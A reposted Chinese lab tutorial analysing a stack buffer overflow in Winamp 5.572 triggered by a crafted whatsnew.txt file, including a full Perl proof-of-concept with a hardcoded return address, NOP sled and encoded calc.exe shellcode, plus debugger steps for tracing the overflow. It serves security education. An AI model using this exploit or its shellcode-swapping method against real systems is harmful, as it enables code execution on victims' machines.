生活随笔
收集整理的這篇文章主要介紹了
Winamp栈溢出漏洞研究【转载】
小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
課程簡(jiǎn)介
Winamp是一款非常經(jīng)典的音樂(lè)播放軟件,它于上世紀(jì)九十年代后期問(wèn)世。與現(xiàn)在音樂(lè)播放軟件行業(yè)百家爭(zhēng)鳴的情況不同,當(dāng)時(shí)可以說(shuō)Winamp就是聽(tīng)音樂(lè)的唯一選擇了,相信那個(gè)時(shí)代的電腦玩家是深有體會(huì)的。而時(shí)至今日,依然有一批忠實(shí)的Winamp粉絲還在堅(jiān)守著這塊陣地,這也就說(shuō)明了這款播放器依舊是有很強(qiáng)的生命力。 但是,這款軟件的漏洞也是挺多的,五花八門(mén),涵蓋了很多方面。而我們這次所討論的就是這款軟件在讀取whatsnew.txt,也就是更新歷史文件時(shí)出現(xiàn)的緩沖區(qū)溢出漏洞。 課程介紹 | Tools | Path |
| WinHex | C:\Tools\WinHex |
| OllyICE | C:\Tools\OllyICE |
學(xué)習(xí)將自己的 ShellCode植入POC文件中。 實(shí)驗(yàn)步驟 ?? 第一步 下載實(shí)驗(yàn)工具 請(qǐng)?jiān)L問(wèn)http://tools.ichunqiu.com/62105285下載實(shí)驗(yàn)文件。 小i提示: - 在本次實(shí)驗(yàn)中,請(qǐng)注意實(shí)驗(yàn)工具、實(shí)驗(yàn)文件存放路徑,不同的文件路徑可能會(huì)出現(xiàn)不一樣的實(shí)
驗(yàn)結(jié)果。 - 在實(shí)驗(yàn)環(huán)境中無(wú)法連接互聯(lián)網(wǎng),請(qǐng)使用您本地的網(wǎng)絡(luò)環(huán)境。
快速查找實(shí)驗(yàn)工具 - 打開(kāi)桌面?Everything?搜索工具,輸入實(shí)驗(yàn)工具名稱,右擊選擇“打開(kāi)路徑”,跳轉(zhuǎn)實(shí)驗(yàn)工
具所在位置。 ?? ?? 第二步 漏洞重現(xiàn) 正常的whatsnew.txt文件位于Winamp文件夾中,保存的是軟件的更新歷史信息。我們?yōu)榱酥噩F(xiàn) 漏洞,需要將特殊構(gòu)造的whatsnew.txt覆蓋掉原始的txt文件。然后打開(kāi)Winamp,在菜單欄的 HELP中選擇“About Winamp”: ?? 在彈出的對(duì)話框中選擇“Version history”: ?? 于是就觸發(fā)了漏洞。但是按照說(shuō)明,利用網(wǎng)上找到的這個(gè)whatsnew.txt文件是可以打開(kāi)計(jì)算器 程序的,但是我在實(shí)際測(cè)試的時(shí)候,有時(shí)可以打開(kāi),有時(shí)卻不行。其實(shí)這很正常,網(wǎng)上所找到的 很多的漏洞利用的文件本身往往是存在著各種各樣的問(wèn)題的,因此我們?cè)谶@里有必要親自動(dòng)手來(lái) 調(diào)試一下,弄清楚這個(gè)txt文件的漏洞利用原理。 ?? 第三步 漏洞利用代碼分析 既然我們已經(jīng)觸發(fā)了漏洞,那么我們可以進(jìn)一步分析一下漏洞出現(xiàn)的原因。查看一下它的POC代碼 ,是利用Perl語(yǔ)言編寫(xiě)的: my $version = "Winamp 5.572"; my $junk = "\x41" x 540; my $eip = "\xad\x86\x0e\x07"; # overwrite EIP - 070E86AD FFD4 CALL ESP nde.dll my $nop = "\x90" x 100; my $shellcode = # windows/exec cmd=calc.exe "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49". "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x48\x5a\x6a\x47". "\x58\x30\x42\x31\x50\x42\x41\x6b\x42\x41\x57\x42\x32\x42\x41\x32". "\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x78\x69\x6b\x4c\x6a". "\x48\x53\x74\x67\x70\x67\x70\x75\x50\x4e\x6b\x53\x75\x65\x6c\x6e". "\x6b\x51\x6c\x46\x65\x70\x78\x43\x31\x68\x6f\x4e\x6b\x30\x4f\x54". "\x58\x6e\x6b\x73\x6f\x57\x50\x67\x71\x58\x6b\x77\x39\x4c\x4b\x64". "\x74\x6c\x4b\x57\x71\x5a\x4e\x76\x51\x49\x50\x6e\x79\x6e\x4c\x4f". "\x74\x4b\x70\x70\x74\x37\x77\x69\x51\x48\x4a\x64\x4d\x43\x31\x4f". "\x32\x7a\x4b\x48\x74\x55\x6b\x72\x74\x34\x64\x77\x74\x70\x75\x4d". "\x35\x6c\x4b\x71\x4f\x75\x74\x36\x61\x48\x6b\x41\x76\x4c\x4b\x44". "\x4c\x70\x4b\x4e\x6b\x63\x6f\x55\x4c\x33\x31\x68\x6b\x4e\x6b\x35". "\x4c\x4e\x6b\x34\x41\x6a\x4b\x6c\x49\x33\x6c\x35\x74\x64\x44\x4a". "\x63\x34\x71\x4b\x70\x63\x54\x6e\x6b\x71\x50\x76\x50\x4f\x75\x4b". "\x70\x72\x58\x74\x4c\x4c\x4b\x77\x30\x76\x6c\x4c\x4b\x44\x30\x57". "\x6c\x6c\x6d\x6e\x6b\x75\x38\x54\x48\x58\x6b\x73\x39\x6e\x6b\x4b". "\x30\x4e\x50\x37\x70\x67\x70\x37\x70\x6c\x4b\x62\x48\x45\x6c\x63". "\x6f\x35\x61\x39\x66\x35\x30\x50\x56\x4d\x59\x48\x78\x6e\x63\x59". "\x50\x43\x4b\x66\x30\x43\x58\x68\x70\x6f\x7a\x43\x34\x33\x6f\x73". "\x58\x4f\x68\x6b\x4e\x6d\x5a\x46\x6e\x72\x77\x6b\x4f\x78\x67\x63". "\x53\x62\x41\x30\x6c\x55\x33\x64\x6e\x42\x45\x70\x78\x32\x45\x33". "\x30\x47"; open (myfile,'>> whatsnew.txt'); print myfile $version.$junk.$eip.$nop.$shellcode; print "[+] whatsnew.txt written.\n"; print "[ ] Now copy it to your winamp folder...\n"; print "[ ] Run winamp and hit [About Winamp]->[Version History]\n"; 首先看一下倒數(shù)第四條語(yǔ)句,它其實(shí)是漏洞利用的代碼的格式,一共是五塊內(nèi)容,即`version +junk+eip+nop+shellcode`。其中的version是當(dāng)前軟件的版本,這里是5.572版;junk是一段 填充代碼,這里是540個(gè)0x41,也就是大寫(xiě)字母A,填充的作用就是為了接下來(lái)的返回地址的`覆蓋 ;eip則是我們將要覆蓋的返回地址`,這里是0x070e86ad;nop位置是100個(gè)0x90;最后就是 ShellCode代碼了。 ?? 第四步 漏洞的調(diào)試 為了調(diào)試這個(gè)漏洞,我們可以結(jié)合構(gòu)造好的whatsnew.txt進(jìn)行。首先是定位漏洞出現(xiàn)的位置, 然后在相應(yīng)的位置下斷點(diǎn)進(jìn)行分析。我們以前的做法是在類似于strcpy這一類的函數(shù)上下斷點(diǎn) ,然后逐個(gè)斷點(diǎn)進(jìn)行分析,或者在類似于fopen這樣的函數(shù)上下斷點(diǎn)。當(dāng)然方法是五花八門(mén)的,不 管是哪種方法,基本都是可以達(dá)到目的的。那么針對(duì)于這次的程序來(lái)說(shuō),既然我們已經(jīng)知道程序 會(huì)打開(kāi)whatsnew.txt這個(gè)文件,那么不妨在程序中查找一下這個(gè)字符串,然后再進(jìn)行分析。 首先利用OD載入winamp.exe程序,在反匯編代碼區(qū)域單擊鼠標(biāo)右鍵,選擇“查找”中的** “所有參考文本字串”**: ?? 之后選擇最上面的條目,表示從最開(kāi)始位置進(jìn)行搜索。單擊鼠標(biāo)右鍵,選擇“查找文本”, 輸入我們要查找的字符串名稱“whatsnew.txt”,再單擊確定: ?? 其實(shí)這里一共可以搜索出兩個(gè)結(jié)果,那么接下來(lái)我們可以分別查看一下這兩處語(yǔ)句。可能這兩處 語(yǔ)句本身并不是fopen函數(shù)的參數(shù)語(yǔ)句,不過(guò)沒(méi)有關(guān)系,相信距離fopen也不會(huì)太遠(yuǎn)。首先雙擊 第一個(gè)結(jié)果,來(lái)到其反匯編代碼的位置,然后在該位置上下觀察一下,就可以找到疑似文件打開(kāi) 語(yǔ)句的位置了: ?? 可以先在0x004015EE處下一個(gè)斷點(diǎn),然后按F9讓程序運(yùn)行起來(lái),依據(jù)之前講過(guò)的步驟來(lái)觸發(fā)漏 洞,于是程序就停在了0x004015EE的位置。這里最開(kāi)始是利用malloc語(yǔ)句申請(qǐng)大小為0x20000 的內(nèi)存空間,返回值就是所分配的空間的地址,我這里是0x0286C008。之后調(diào)用wfopen來(lái)打開(kāi) whatsnew.txt文件。再調(diào)用fread函數(shù): ?? 通過(guò)分析這個(gè)函數(shù)的參數(shù)可以知道,fread函數(shù)會(huì)將文件內(nèi)容讀入剛才所分配的空間中。然后利用 strncmp函數(shù)進(jìn)行比對(duì): ?? 可見(jiàn),這里是在驗(yàn)證所讀取的whatsnew.txt文件的最開(kāi)始9個(gè)字符是否為“Winamp 5.”驗(yàn)證通 過(guò)才能夠進(jìn)行下一步的操作。這也就說(shuō)明了,為什么需要在漏洞利用的代碼中,添加`“version ”`的信息。然后就來(lái)到了最重要的字符串拷貝函數(shù)的位置: ?? 這里是將從whatsnew.txt文件讀取出來(lái)的內(nèi)容拷貝到地址為0x00BDEBAC的位置中。我們可以按 F8步過(guò)這個(gè)函數(shù)來(lái)看一下: ?? 可見(jiàn)當(dāng)前的棧空間中已經(jīng)寫(xiě)入了我們編寫(xiě)的whatsnew.txt文件的內(nèi)容,而0x00BDEDD4中保存的 正是我們所覆蓋地址,這是原始的返回地址的位置。那么直接執(zhí)行到返回地址的位置查看一下: ?? 可以看到程序使用的是call esp的方法,此時(shí)的esp所保存的地址為0x00BDEDE8,正好落在了 0x90也就是nop的區(qū)段中,在這些0x90的后面,就是ShellCode了。 這里我們的目的不是弄清楚原始ShellCode為什么有時(shí)能夠執(zhí)行有時(shí)卻不能夠執(zhí)行,大家有興趣 的話可以自行研究,我們這里不妨將之前我們一直使用的ShellCode植入,看看能不能達(dá)到預(yù)期的 效果。可以使用十六進(jìn)制編輯工具對(duì)whatsnew.txt進(jìn)行編輯: ?? 那么再嘗試觸發(fā)漏洞: ?? 可見(jiàn)我們的利用是成功的。 ?? 第五步 小結(jié) 這次我們所討論的是建立在他人ShellCode代碼基礎(chǔ)上的漏洞分析。可見(jiàn)即便是前輩高人的代碼 ,也不見(jiàn)得就很管用。因此這就需要我們不斷地進(jìn)行嘗試與研究,將他人的思想學(xué)到手,才能夠 不斷地提高。
總結(jié)
以上是生活随笔為你收集整理的Winamp栈溢出漏洞研究【转载】的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。